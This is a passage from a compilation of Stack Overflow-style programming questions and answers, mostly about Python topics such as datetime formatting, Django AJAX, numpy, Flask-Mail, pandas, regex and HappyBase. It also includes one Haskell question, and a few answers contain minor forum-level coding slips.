nn = (norm(n[i], t[i], n0) for i range(0, len(d)))
ln = unp.log(nn)
for i in range(0, len(d)):
fh.write(tex(str(d[i])+" & "+str(t[i])+" & "+str(n[i])+" & "+str(nn[i])+" & "+str(ln[i]))) #works how it's supposed to, the table is perfectly fine
fh.close()
print(unp.nominal_values(nn))
print(unp.nominal_values(ln))
|
How can this datetime variable be converted to the string equivalent of this format in python?
Question: I am using python 2.7.10
I have a datetime variable which contains `2015-03-31 21:02:36.452000`. I want
to convert this datetime variable into a string which looks like `31-Mar-2015
21:02:36`.
How can this be done in python 2.7?
Answer: Use strptime to create a datetime object then use strftime to format it they
way you want:
from datetime import datetime
s= "2015-05-31 21:02:36.452000"
print(datetime.strptime(s,"%Y-%m-%d %H:%M:%S.%f").strftime("%d-%b-%Y %H:%m:%S"))
31-May-2015 21:05:36
The format string is the following:
%Y Year with century as a decimal number.
%m Month as a decimal number [01,12].
%d Day of the month as a decimal number [01,31].
%H Hour (24-hour clock) as a decimal number [00,23].
%M Minute as a decimal number [00,59].
%S Second as a decimal number [00,61].
%f Microsecond as a decimal number
In strftime we use %b which is:
%b Locale’s abbreviated month name.
Obviously we just ignore the microseconds in the output string.
If you already have a datetime object just call strftime on the datetime
object:
print(dt.strftime("%d-%b-%Y %H:%m:%S"))
|
ajax failing getting data from pre element after it gets filled
Question: The thing is that i have an embedded python interpreter and after a user
presses "Run", the output from interpreter gets transferred to a pre element.
I want to take that data from pre element and send it to django server through
AJAX. The problem is that even after assigning of that data to a variable,
django gets nothing. Also i can start interpreter and AJAX script only after
pressing "Run", both work work with onclick. I am using POST request.
`$(document).ready(function(){
$('#run').click(function(){
var input_string = String(document.getElementById("output").innerHTML);
alert(input_string);
$.ajax({
url: '/courses/python3/lesson_validate/{{ lesson_number }}/',
data: {"text": input_string, csrfmiddlewaretoken: '{{ csrf_token }}'},
dataType: "json",
type:"POST",
success: function(data, textStatus){
alert('get_response');
alert(data);
},
error : function(xhr,errmsg,err) {
alert(xhr.status + ": " + xhr.responseText);
}
});
});
});
`
So that code works perfectly
`var input_string = String(document.getElementById("output").innerHTML);
alert(input_string); `
but when i try to use that variable in ajax, server fails to get it. I tried
using `async: false`, it doesn't change anything. This is view code:
`def lesson_validate(request,lesson_number):
args = {}
args.update(csrf(request))
out_compare = Lessons.objects.get(id=lesson_number).lesson_output
if request.method == "POST" and request.POST.get('text') == out_compare:
text = "they are equal"
return HttpResponse(json.dumps(text), content_type='application/javascript')
else:
args['testtest']=request.POST.get('text')
return render_to_response('course_lesson.html', args, context_instance=RequestContext(request))`
After i check `request.POST.get('text')` it is empty
The question is how can i get data from ajax, from a variable assigned before,
not just from a sting?
Answer: It looks like you're sending JSON to the server in that request, so to get the
variables in Django you'd need to do:
def lesson_validate(request,lesson_number):
import json
data = json.loads(request.body)
text = data.get('text')
# Do stuff.
|
Using cElementTree in python 3
Question: `cElementTree` is the fast, C implementation of the XML API `ElementTree`. In
python 2 you would load it explicitly (aliasing it to `ElementTree`), but in
[the Python 3
docs](https://docs.python.org/3.4/library/xml.etree.elementtree.html) I read
this:
> _Changed in version 3.3:_ This module will use a fast implementation
> whenever available. The xml.etree.cElementTree module is deprecated.
Indeed, `xml.etree.cElementTree.py` now simply imports from
`xml.etree.ElementTree`. The question: How do I get access to the "fast
implementation"? How do I tell if it's "available", and where do I get it from
if for some reason it's not distributed with python?
Introspection on `ElementTree` in my program suggests that I'm getting the
python version. In `ElementTree.py`, I didn't spot any hooks to the C version.
When and how does it come into play? The `ElementTree` documentation offered
no clues, and neither did a quick search on google and stackoverflow.
Answer: From the "[What's New in Python
3.3](https://docs.python.org/3.3/whatsnew/3.3.html)" docs:
> The `xml.etree.ElementTree` module now imports its C accelerator by default;
> there is no longer a need to explicitly import xml.etree.cElementTree (this
> module stays for backwards compatibility, but is now deprecated). In
> addition, the iter family of methods of Element has been optimized
> (rewritten in C). The module’s documentation has also been greatly improved
> with added examples and a more detailed reference.
While it may look as though it isn't happening the import takes place
silently. You will find a section of code in `ElelementTree.py` that reads
# Import the C accelerators
try:
# Element, SubElement, ParseError, TreeBuilder, XMLParser
from _elementtree import *
except ImportError:
pass
else:
# Overwrite 'ElementTree.parse' and 'iterparse' to use the C XMLParser
class ElementTree(ElementTree):
...
There doesn't seem to be an easy way to verify that the C module is being
imported, but I think you can take it that it is. If you are really worried
(and I personally wouldn't be) then you can patch a `print` in there to check.
|
Run Django tests PyCharm with coverage
Question: I'm quite a beginner with Django, especially with testing. Since it is a best
practice, I hope I can get this up and running...
I just started a project (called leden), and made my first testfile
**test_initial.py**.
class test_LidViewTests(TestCase):
def setUp(self):
self.user = User.objects.create_user(username='jacob', email='[email protected]', password='top_secret')
self.client.login(username='jacob', password='top_secret')
def test_view_non_existing_lid(self):
response = self.client.get(reverse('leden:lid', kwargs={'lid_id': 1}))
self.assertEqual(response.status_code, 404)
When I run the tests with the command **python manage.py test** , all tests
are run. When I try to run my tests in PyCharm however (I used
[this](http://emptysqua.re/blog/unittests-code-coverage-in-pycharm/)
tutorial), I get the following errors:
/home/mathijs/.virtualenvs/ledenbestand/bin/python3.4 /opt/pycharm-3.4/helpers/pycharm/django_test_manage.py test leden.tests /home/mathijs/Development/ledenbestand
Testing started at 17:00 ...
/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango19Warning: django.utils.unittest will be removed in Django 1.9.
return f(*args, **kwds)
/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango19Warning: django.utils.unittest will be removed in Django 1.9.
return f(*args, **kwds)
Traceback (most recent call last):
File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 127, in <module>
utility.execute()
File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 102, in execute
PycharmTestCommand().run_from_argv(self.argv)
File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/commands/test.py", line 30, in run_from_argv
super(Command, self).run_from_argv(argv)
File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/base.py", line 390, in run_from_argv
self.execute(*args, **cmd_options)
File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/commands/test.py", line 74, in execute
super(Command, self).execute(*args, **options)
File "/home/mathijs/.virtualenvs/ledenbestand/lib/python3.4/site-packages/django/core/management/base.py", line 441, in execute
output = self.handle(*args, **options)
File "/opt/pycharm-3.4/helpers/pycharm/django_test_manage.py", line 89, in handle
failures = TestRunner(test_labels, verbosity=verbosity, interactive=interactive, failfast=failfast)
File "/opt/pycharm-3.4/helpers/pycharm/django_test_runner.py", line 228, in run_tests
extra_tests=extra_tests, **options)
File "/opt/pycharm-3.4/helpers/pycharm/django_test_runner.py", line 128, in run_tests
return super(DjangoTeamcityTestRunner, self).run_tests(test_labels, extra_tests, **kwargs)
AttributeError: 'super' object has no attribute 'run_tests'
Do you guys have any idea how I can fix this?
Answer: It looks like there are a couple of known issues in PyCharm v4.0+ which cause
this error message when using Django v1.8:
* <https://youtrack.jetbrains.com/issue/PY-14479>
* <https://youtrack.jetbrains.com/issue/PY-14401>
Issue 14401 is now marked as fixed in a couple of internal builds, but it's
not clear which release version of PyCharm will get the fix.
|
Unsupported major.minor version 52.0, tomcat 7, java 7/8 problems
Question: I know there are tons of these questions. I have been through a lot. I have
been stuck on this issue for >24 hours.
I am using:
* Windows 8.1, 64bit
* Eclipse as IDE
* Tomcat 7
I want to do:
Make a small website with 4 pages that loads data from an sql server and some
other simple stuff. The java code works if I run it as plain java in Eclipse.
The code also works if I run it in the JSP project with java 8 on localhost.
However, I need to host it on a java 7 server. I cannot update the server.
First I tried just uploading it anyway (by exporting to .war and uploading
that), but that did not work. Then, I set all settings
(preferences/java/compiler, preferences/java/installed JREs) to java 7 while
using java 8. Projects are not overriding the default.
Setting my localhost to java 7 settings makes the localhost JSP unable to work
too (same error), but it still works in plain java on my computer.
I have tried cleaning temporary/compiled files to force a recompilation
(project/clean). I have done this every time between trying new things.
I am importing the classes to the JSP server using:
<%@ page import="jdbc.Publication"%>
<%@ page import="jdbc.SQLPublicationMapper"%>
and these are the names of my classes. The classes are in the `WEB-
INF\classes` folder in the JSP folder. I copy them from the `jdbc\bin\jdbc`
folder from the other project after compiling them.
There are no compilation errors.
There are no relevant warnings. They all concern HTML formatting stuff.
I have tried to completely uninstall java 8 and only have java 7 installed
(JRE and JDK), but still I get the same error. Yes, I have recompiled the
files after this.
I am running out of ideas to try. This makes no sense to me.
I am not normally a java developer, I code in R/python/php/js, so please give
answers I can understand.
Any ideas?
Answer: Turns out the solution was something more mundane. Apparently the server was
not appropriately using the .class files I had given it. These were the files
I was updating. Instead it was relying on an old .jar file containing the same
classes. Thus, I thought it was using the class files, but it was instead
using this old .jar file. This .jar file was exported from java 8. Exporting a
new version of this file fixed the issue.
TL;DR Make sure eventual .jar files are also updated, not just .class files.
|
Applying math.ceil to an array in python
Question: What is the proper way to apply math.ceil to an entire array? See the
following Python code:
index = np.zeros(len(any_array))
index2 = [random.random() for x in xrange(len(any_array))
##indexfinal=math.ceil(index2) <-?
And I want to return the ceiling value of every element within the array.
Documentation states that math.ceil returns the ceiling for any input x, but
what is the best method of applying this ceiling function to every element
contained within the array?
Answer: Use the `numpy.ceil()` function instead. The Numpy package offers vectorized
versions of most of the standard math functions.
In [29]: import numpy as np
In [30]: a = np.arange(2, 3, 0.1)
In [31]: a
Out[31]: array([ 2. , 2.1, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8, 2.9])
In [32]: np.ceil(a)
Out[32]: array([ 2., 3., 3., 3., 3., 3., 3., 3., 3., 3.])
This technique should work on arbitrary `ndarray` objects:
In [53]: a2 = np.indices((3,3)) * 0.9
In [54]: a2
Out[54]:
array([[[ 0. , 0. , 0. ],
[ 0.9, 0.9, 0.9],
[ 1.8, 1.8, 1.8]],
[[ 0. , 0.9, 1.8],
[ 0. , 0.9, 1.8],
[ 0. , 0.9, 1.8]]])
In [55]: np.ceil(a2)
Out[55]:
array([[[ 0., 0., 0.],
[ 1., 1., 1.],
[ 2., 2., 2.]],
[[ 0., 1., 2.],
[ 0., 1., 2.],
[ 0., 1., 2.]]])
|
sys_platform is not defined x64 Windows
Question: This has been bugging me for a little while. I recently upgraded to x64
Python, and I started getting this error (example pip install).
C:\Users\<uname>\distribute-0.6.35>pip install python-qt
Collecting python-qt
Downloading python-qt-0.50.tar.gz
Building wheels for collected packages: python-qt
Running setup.py bdist_wheel for python-qt
Complete output from command C:\Python27\python.exe -c "import setuptools;__file__='c:\\users\\<uname>\\appdata\\local\\t
emp\\pip-build-vonat7\\python-qt\\setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" bd
ist_wheel -d c:\users\<uname>\appdata\local\temp\tmpghy5gtpip-wheel-:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "c:\users\<uname>\appdata\local\temp\pip-build-vonat7\python-qt\setup.py", line 11, in <module>
packages=['Qt'],
File "C:\Python27\lib\distutils\core.py", line 137, in setup
ok = dist.parse_command_line()
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 232, in parse_command_line
result = _Distribution.parse_command_line(self)
File "C:\Python27\lib\distutils\dist.py", line 467, in parse_command_line
args = self._parse_command_opts(parser, args)
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 558, in _parse_command_opts
nargs = _Distribution._parse_command_opts(self, parser, args)
File "C:\Python27\lib\distutils\dist.py", line 523, in _parse_command_opts
cmd_class = self.get_command_class(command)
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\setuptools\dist.py", line 362, in get_command_class
ep.require(installer=self.fetch_build_egg)
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2027, in require
working_set.resolve(self.dist.requires(self.extras),env,installer))
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2237, in requires
dm = self._dep_map
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2466, in _dep_map
self.__dep_map = self._compute_dependencies()
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2499, in _compute_dependencies
common = frozenset(reqs_for_extra(None))
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\pkg_resources.py", line 2496, in reqs_for_extra
if req.marker_fn(override={'extra':extra}):
File "C:\Python27\lib\site-packages\distribute-0.6.35-py2.7.egg\_markerlib\markers.py", line 109, in marker_fn
return eval(compiled_marker, environment)
File "<environment marker>", line 1, in <module>
NameError: name 'sys_platform' is not defined
----------------------------------------
Failed building wheel for python-qt
Failed to build python-qt
Installing collected packages: python-qt
Running setup.py install for python-qt
Successfully installed python-qt-0.50
The package was installed fine, but I cannot build wheels. I tried re-
installing distribute manually by downloading a zip and running `python
setup.py install`. That installed wonderfuly, without a hitch. But I still
have the above problem.
How can I re-define sys_platform?
Alright, I rolled back to x86 good ole 32 bit Python, and I still have the
problem. This is really concerning, because I cannot reset this after re-
installing. I looked at
[markerlib](https://pypi.python.org/pypi/markerlib/0.4), which looks
promising, but I don't know how to use it safely. Currently I am unable to
install pretty much _anything_ from PyPI, so I am giving points to increase
interest.
Any help? I really want to be able to use PyPI again.
**I chose the selected answer as it is the _most likely_ to solve the problem.
I myself have moved back to x86 Python, so I cannot test this myself.
Therefore, I encourage future visitors to try this answer, but I have not
myself been able to test it.**
Answer: 1. Might be a bug. Check out: <https://bugs.python.org/>
2. You can manually check the markers.py file and try to fix it. I think there would a reference to `sys_platform` that has to be changed to `sys.platform`
3. Regarding markerlib, you can try this out-
import markerlib
marker = markerlib.compile("sys.platform == 'win32'")
marker(environment=markerlib.default_environment(), override={'sys.platform':'win32'})
|
No recipients have been added when trying to send message with Flask-Mail
Question: I am trying to send email with Flask-Mail. I create the message with
recipients, but I get `AssertionError: No recipients have been added` when I
try to send it. In the following code, I print out the message recipients and
they are correct. How do I fix this error?
from flask import Flask
from flask_mail import Message, Mail
app = Flask(__name__)
app.config.update(
DEBUG=True,
MAIL_SERVER='smtp.gmail.com',
MAIL_PORT=465,
MAIL_USE_SSL=True,
MAIL_USERNAME='[email protected]',
MAIL_PASSWORD='mypassword'
)
mail = Mail(app)
@app.route('/')
def hello_world():
msg=Message('hey hey hey', sender='[email protected]', recipients=['[email protected]'])
print(msg.sender, msg.recipients)
# ('[email protected]', ['[email protected]'])
print(msg.send_to)
# set(['[email protected]'])
mail.send_message(msg)
return 'Hello World!'
if __name__ == '__main__':
app.run()
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\flask\app.py", line 1836, in __call__
return self.wsgi_app(environ, start_response)
File "C:\Python27\lib\site-packages\flask\app.py", line 1820, in wsgi_app
response = self.make_response(self.handle_exception(e))
File "C:\Python27\lib\site-packages\flask\app.py", line 1403, in handle_exception
reraise(exc_type, exc_value, tb)
File "C:\Python27\lib\site-packages\flask\app.py", line 1817, in wsgi_app
response = self.full_dispatch_request()
File "C:\Python27\lib\site-packages\flask\app.py", line 1477, in full_dispatch_request
rv = self.handle_user_exception(e)
File "C:\Python27\lib\site-packages\flask\app.py", line 1381, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "C:\Python27\lib\site-packages\flask\app.py", line 1475, in full_dispatch_request
rv = self.dispatch_request()
File "C:\Python27\lib\site-packages\flask\app.py", line 1461, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "C:\Users\Julian\PycharmProjects\flask_mail_test\flask_mail_test.py", line 26, in hello_world
mail.send_message(msg)
File "C:\Python27\lib\site-packages\flask_mail.py", line 503, in send_message
self.send(Message(*args, **kwargs))
File "C:\Python27\lib\site-packages\flask_mail.py", line 493, in send
message.send(connection)
File "C:\Python27\lib\site-packages\flask_mail.py", line 428, in send
connection.send(self)
File "C:\Python27\lib\site-packages\flask_mail.py", line 176, in send
assert message.send_to, "No recipients have been added"
AssertionError: No recipients have been added
Answer: You're using the wrong function. `mail.send_message` is a shortcut to build
and send a message, it takes the same args as `Message`. Use `mail.send(msg)`
to send an existing `Message` instance.
|
Python change Accept-Language using requests
Question: I'm new to python and trying to get some infos from IMDb using requests
library. My code is capturing all data (e.g., movie titles) in my native
language, but i would like to get them in english. How can i change the
accept-language in requests to do that?
Answer: All you need to do is define your own headers:
import requests
url = "http://www.imdb.com/title/tt0089218/"
headers = {"Accept-Language": "en-US,en;q=0.5"}
r = requests.get(url, headers=headers)
You can add whatever other headers you'd like to modify as well.
|
Clickable Icon in Python GTK
Question: Does anyone know how to create a custom button with custom icon in PyGTK? I
would like to make a program in python GTK that works similar to a settings
menu or control panel. I know PyGTK has stock buttons like cancel, exit, and
ok; but I'm unable to change the labels or icons of those buttons.
Answer: You can put a button on the screen, and put any image in it.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# test_icon.py
#
# Copyright 2015 John Coppens <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
#
import pygtk
import gtk
IMAGE_FILE = "/put/an/imagename here"
class MainWindow(gtk.Window):
def __init__(self, debug = None):
gtk.Window.__init__(self)
self.connect("delete-event", self.on_delete_event)
btn = gtk.Button()
img = gtk.Image()
img.set_from_file(IMAGE_FILE)
btn.set_image(img)
self.add(btn)
self.show_all()
def on_delete_event(self, win, data):
gtk.main_quit()
def run(self):
gtk.mainloop()
def main():
w = MainWindow()
w.run()
return 0
if __name__ == '__main__':
main()
The image can be of many formats, even SVG (vector graphics), PNG, etc.
|
regex conditional matching
Question: I am trying to use `re.findall` to find this pattern:
01-234-5678
regex:
(\b\d{2}(?P<separator>[-:\s]?)\d{2}(?P=separator)\d{3}(?P=separator)\d{3}(?:(?P=separator)\d{4})?,?\.?\b)
however, some cases have shortened to 01-234-5 instead of 01-234-0005 when the
last four digits are 3 zeros followed by a non-zero digit.
Since there does't seem to be any uniformity in formatting I had to account
for a few different separator characters or possibly none at all. Luckily, I
have only noticed this shortening when some separator has been used...
Is it possible to use a regex conditional to check if a separator does exist
(not an empty string), then also check for the shortened variation?
So, something like `if separator != '':
re.findall(r'(\b\d{2}(?P<separator>[-:\s]?)\d{3}(?P=separator)(\d{4}|\d{1})\.?\b)',
text)`
Or is my only option to include all the possibly incorrect 6 digit patterns
then check for a separator with python?
Answer: If you want the last group of digits to be _"either one or four digits"_ ,
try:
>>> import re
>>> example = "This has one pattern that you're expecting, 01-234-5678, and another that maybe you aren't: 23:456:7"
>>> pattern = re.compile(r'\b(\d{2}(?P<sep>[-:\s]?)\d{3}(?P=sep)\d(?:\d{3})?)\b')
>>> pattern.findall(example)
[('01-234-5678', '-'), ('23:456:7', ':')]
The last part of the pattern, `\d(?:\d{3})?)`, means one digit, optionally
followed by three more (i.e. one or four). Note that you don't need to include
the optional full stop or comma, they're already covered by `\b`.
* * *
Given that you _don't_ want to capture the case where there is no separator
and the last section is a single digit, you could deal with that case
separately:
r'\b(\d{9}|\d{2}(?P<sep>[-:\s])\d{3}(?P=sep)\d(?:\d{3})?)\b'
# ^ exactly nine digits
# ^ or
# ^ sep not optional
See [this demo](https://regex101.com/r/jF9nH1/1).
|
How could I make this code more "automated"?
Question: I did this code yesterday trying to test how really random are the random
numbers that Python generates:
# -*- coding: cp1252 -*-
import random
print "Bienvenido al Analizador del Azar, este programa generará 100 números para aleatorios, para luego dar en tanto por ciento la cantidad de cada uno."
numeros_aleatorios = []
contador = 0
while True:
namber = random.randint(1,10)
numeros_aleatorios.append(namber)
contador += 1
if contador == 100:
break
PR1 = float(numeros_aleatorios.count(1)) / 100
PR2 = float(numeros_aleatorios.count(2))/ 100
PR3 = float(numeros_aleatorios.count(3)) / 100
PR4 = float(numeros_aleatorios.count(4)) / 100
PR5 = float(numeros_aleatorios.count(5)) / 100
PR6 = float(numeros_aleatorios.count(6)) / 100
PR7 = float(numeros_aleatorios.count(7)) / 100
PR8 = float(numeros_aleatorios.count(8)) / 100
PR9 = float(numeros_aleatorios.count(9)) / 100
PR10 = float(numeros_aleatorios.count(10)) / 100
print "Hay exactamente un", PR1, "% de 1s"
print "Hay exactamente un", PR2, "% de 2s"
print "Hay exactamente un", PR3, "% de 3s"
print "Hay exactamente un", PR4, "% de 4s"
print "Hay exactamente un", PR5, "% de 5s"
print "Hay exactamente un", PR6, "% de 6s"
print "Hay exactamente un", PR7, "% de 7s"
print "Hay exactamente un", PR8, "% de 8s"
print "Hay exactamente un", PR9, "% de 9s"
print "Hay exactamente un", PR10, "% de 10s"
As you can see, I had to put PR1, PR2, PR3... manually to make every %, and
then write every print to display the results. My question is, is there any
way to make this more automated, so I don't have to write every line
indivually? It would be very useful for my next projects.
Answer: A
[collections.Counter](https://docs.python.org/2/library/collections.html#collections.Counter)
will do all the counting for you, and use `range` to loop in the number of
trials you want to run:
from collections import Counter
trial = 100
counts = Counter(random.randint(1,10) for _ in range(trials))
print(counts)
Counter({3: 17, 7: 12, 8: 12, 9: 12, 4: 11, 6: 9, 2: 8, 10: 8, 5: 6, 1: 5})
for i in range(1,11):
print("Hay exactamente un {}% de {}".format(100 * counts[i] / float(trials),i))
Output:
Hay exactamente un 11.0% de 1
Hay exactamente un 6.0% de 2
Hay exactamente un 12.0% de 3
Hay exactamente un 12.0% de 4
Hay exactamente un 9.0% de 5
Hay exactamente un 4.0% de 6
Hay exactamente un 10.0% de 7
Hay exactamente un 14.0% de 8
Hay exactamente un 12.0% de 9
Hay exactamente un 10.0% de 10
No idea if _Hay exactamente un_ is in the correct order!
|
How to pass a variable between functions in Python
Question: Sorry for the long code, but I felt that it was important that I include what
I was trying to accomplish. I am a beginner with Python and programming in
general and I was trying to make a simple text-based adventure game. The game
was working good at first until I added the encounter with the bees. I ran the
program and I chose to run from the bear, so my hp should be at 40, which was
displayed. However, when I chose to swat the bees, my hp should then be at 0
because 40(my current hp)-40=0. My hp is however is displayed at 60, as if the
bear encounter never happened. Is there some way I can fix this or is this a
limitation in Python?
from sys import exit
from time import sleep
import time
#Hp at start of game:
hp = 100
#The prompt for inputs
prompt = "> "
#Bear encounter
def bear(hp):
choice = raw_input("> ")
if "stand" in choice:
print "The bear walks off, and you continue on your way"
elif "run" in choice:
print "..."
time.sleep(2)
print "The bear chases you and your face gets mauled."
print "You barely make it out alive, however you have sustained serious damage"
hp = hp-60
currenthp(hp)
elif "agressive" in choice:
print "..."
time.sleep(2)
print "The bear sees you as a threat and attacks you."
print "The bear nearly kills you and you are almost dead"
hp = hp-90
currenthp(hp)
else:
print "Well do something!"
bear(hp)
#Bee encounter
def bee(hp):
choice = raw_input(prompt)
if "run" in choice:
print "..."
sleep(2)
print "The bee flies away and you continue on your way."
currenthp(hp)
elif "swat" in choice:
print "..."
sleep(1)
print "You succesfully kill the bee. Good Job!"
sleep(1)
print "Wait a minute"
sleep(2)
print "The bee you killed gives off pheremones, now there are hundreds of bees chasing you."
print "The bees do some serious damage."
hp = hp-40
sleep(1)
currenthp(hp)
else:
print "Well, do something."
bee(hp)
#Function to display the current hp of the current player
def currenthp(hp):
if hp < 100:
print "Your hp is now at %d" % hp
elif hp <= 0:
dead()
else:
print "You are still healthy, good job!"
#Called when player dies
def dead():
print "You sustained too much damage, and as a result have died."
time.sleep(3)
print "GAME OVER!"
print "Would you like to play again?"
choice = raw_input("> ")
if "y" in choice:
start_game()
else:
exit(0)
#Called to Start the Game, useful for restarting the program
def start_game():
print "Welcome to Survival 101"
#START OF GAME
start_game()
print "You start your regular trail."
print "It will be just a little different this time though ;)"
time.sleep(3)
print "You are walking along when suddenly."
time.sleep(1)
print "..."
time.sleep(2)
#Start of first encounter
print "Wild bear appears!."
print "What do you do?"
print "Stand your ground, Run away, be agressive in an attempt to scare the bear"
#first encounter
bear(hp)
#Start of second encounter
print "You continue walking and see a killer bee approaching you"
print "What do you do"
print "run away, swat the bee away"
bee(hp)
Answer: You pass `hp` to functions and inside a function you are update it, but you
are not getting the updated value `hp` back from the function. You should
specify `return(hp)` inside the function to return the updated value, and you
can store (or update) the updated value in the function call - e.g., `hp =
bear(hp)`.
|
Reading multiple data files with a loop on Python
Question: Hi I have a over 200 data files with name similar names like
abc.20.0000.catalog.out , abc.20.1000.catalog.out, abc.20.2000.catalog.out
...... abc.40.0000.catalog.out
Each file contains data like this
Group catalog for redshift 18.1000
1) group ID
2) group mass (Msun/h)
3- 5) initial position (Mpc/h)
6- 8) final position (Mpc/h)
9-11) velocity (km/s)
12) number of particles
250103187 0.227591E+08 1.86 1.03 2.51 1.65 1.06 2.53 -47.56 7.50 3.83 328
202456030 0.167918E+08 0.29 4.57 2.02 0.23 4.63 2.14 -13.27 10.67 3.68 242
89479147 0.763262E+06 1.47 4.80 0.89 1.34 4.83 0.99 -28.90 6.20 17.30 11
each such file contains over 10^6 lines.
I want to do the following: 1\. I want to read the data from each file and
erase the text on top. 2\. I want to then store the data from all these files
into a single big list of matrices, each matrix being the data from each of
these files.
Answer: Here is a Python/Pandas solution:
import pandas as pd
import glob
L = []
for f in glob.glob('abc*'):
df = pd.read_csv(f,skiprows=1)
L.append(df.values)
|
Want to make a list of words using python where the student received a 0 for the word in that column
Question: Relatively new to python, and programming in general, but want to take a
student assessment list and iterate through each row then print a list that
includes the student name and each word (column name) that the student missed
(recorded as 0).
table looks something like this:
Name - ID - again - all - always - away - best - every
student1 - 13 - 1 - 0 - 0 - 1 - 0 - 0
student2 - 14 - 1 - 1 - 1 - 0 - 0 - 1
student3 - 15 - 0 - 0 - 0 - 1 - 1 - 1
Want to write something like this:
for row in dataframe:
if row == 0:
print student name +':' + column name
Output would be:
student 1: all, always, best, every
student 2: away, best
student 3: again, always, away
I've got several hundred students and would love to just have a list showing
which words each student needs to practice. Any help is much appreciated.
Thanks!
Answer: Assuming your table is in a Pandas dataframe (you should be able to import it
using `pd.read_csv` or `pd.read_csv`:
import pandas as pd
df = pd.DataFrame([['student1',13,1,0,0,1,0,0],
['student2',14,1,1,1,0,0,1],
['student3',15,0,0,0,1,1,1]],
columns = ['Name','ID','again','all','always','away','best','every'])
df['wordlist'] = df.apply(lambda row: ', '.join(df.columns[row == 1]),1)
for line in df.Name + ': ' + df.wordlist:
print (line)
student1: again, away
student2: again, all, always, every
student3: away, best, every
|
How am I computing e^x incorrectly?
Question: I am trying to estimate `e^x` using the power series for approximation in
Haskell.
import Data.Function
-- Take two integers and divide them and return a float as a result.
-- So 1/2 would be 0.5
fd :: Int -> Int -> Double
fd = (/) `on` fromIntegral
-- Helper function to compute factorial
fact :: Int -> Int
fact 1 = 1
fact n = n * fact (n-1)
-- Calculate e^x using the power series for e^x (n is the number of
-- of terms used to approximate e^x
computeHelper :: Double -> Int -> Double -> Double
computeHelper x 0 res = res + 1
computeHelper x n res = computeHelper x (n-1) (res + (x**n `fd` (fact n)))
compute :: Double -> Int -> Double
compute x n = computeHelper x n 0.0
Calling `compute 1 5` gives `6`. Which is incorrect.
Both `fd` and `fact` appear to be working fine. Therefore, I'm guessing the
issue is with `computeHelper`. However, following the same logic in Python:
from math import factorial
def compute(x, n, res=0):
if n == 0:
return res + 1
return compute(x, n-1, res + (x**n*1.0/(factorial(n))))
print compute(1, 5)
I get `2.71666666667` which is as expected, so I am confused why the Haskell
version doesn't work.
Answer: Its an operator precedence issue. The `fd` has a higher precedence than the
`**`. If you add extra parenthesis its clearer why you are getting a 6:
(x**(n `fd` (fact n)))
The way to fix this would be to put parenthesis around the exponentiation and
then tweak things a bit so they typecheck:
((x^n) / (fromIntegral (fact n)))
|
HappyBase and Atomic Batch Inserts for HBase
Question: With the HappyBase API for HBase in Python, a batch insert can be performed by
the following:
import happybase
connection = happybase.Connection()
table = connection.table('table-name')
batch = table.batch()
# put several rows to this batch via batch.put()
batch.send()
What would happen in the event this batch failed half way through? Would the
rows that had been saved remain saved and those that didn't not be saved?
I noted in the HappyBase github that the `table.batch()` method takes
`transaction` and `wal` as parameters. Could these be configured in such a way
as to rollback the successfully saved rows in the event the batch fails
halfway through?
Will happybase throw an exception here, which would permit me to take note of
the row keys and perform a batch delete?
Answer: I did not know about python or happybase. I understand that transaction is
implemented in library as a fallback strategy. Since Hbase does not have any
transaction support besides in-row mutations, a library can only simulate
transaction by rolling back the operation it just did. I think this Batch
class in code does this.
The `transaction` argument specifies whether the returned
:py:class:`Batch` instance should act in a transaction-like manner when
used as context manager in a ``with`` block of code. The `transaction`
flag cannot be used in combination with `batch_size`.
The `wal` argument determines whether mutations should be
written to the HBase Write Ahead Log (WAL). This flag can only
be used with recent HBase versions. If specified, it provides
a default for all the put and delete operations on this batch.
<https://github.com/wbolster/happybase/blob/master/happybase/table.py> line
460-480
Also wal is a kind of performance parameter. It is faster if an operation is
not written to WAL. From hbase doc ;
> Turning this off means that the RegionServer will not write the Put to the
> Write Ahead Log, only into the memstore, HOWEVER the consequence is that if
> there is a RegionServer failure there will be data loss.
<http://hbase.apache.org/0.94/book/perf.writing.html> section 11.7.5
|
RaspberryPi - MySQLdb
Question: Hello Stackoverflow users,
For my student project i need to use python and mysql, but when i try to use
i've this kind of error
> Traceback (most recent call last): File "myRFIDserv.py", line 2, in import
> MySQLdb ImportError: No module named MySQLdb
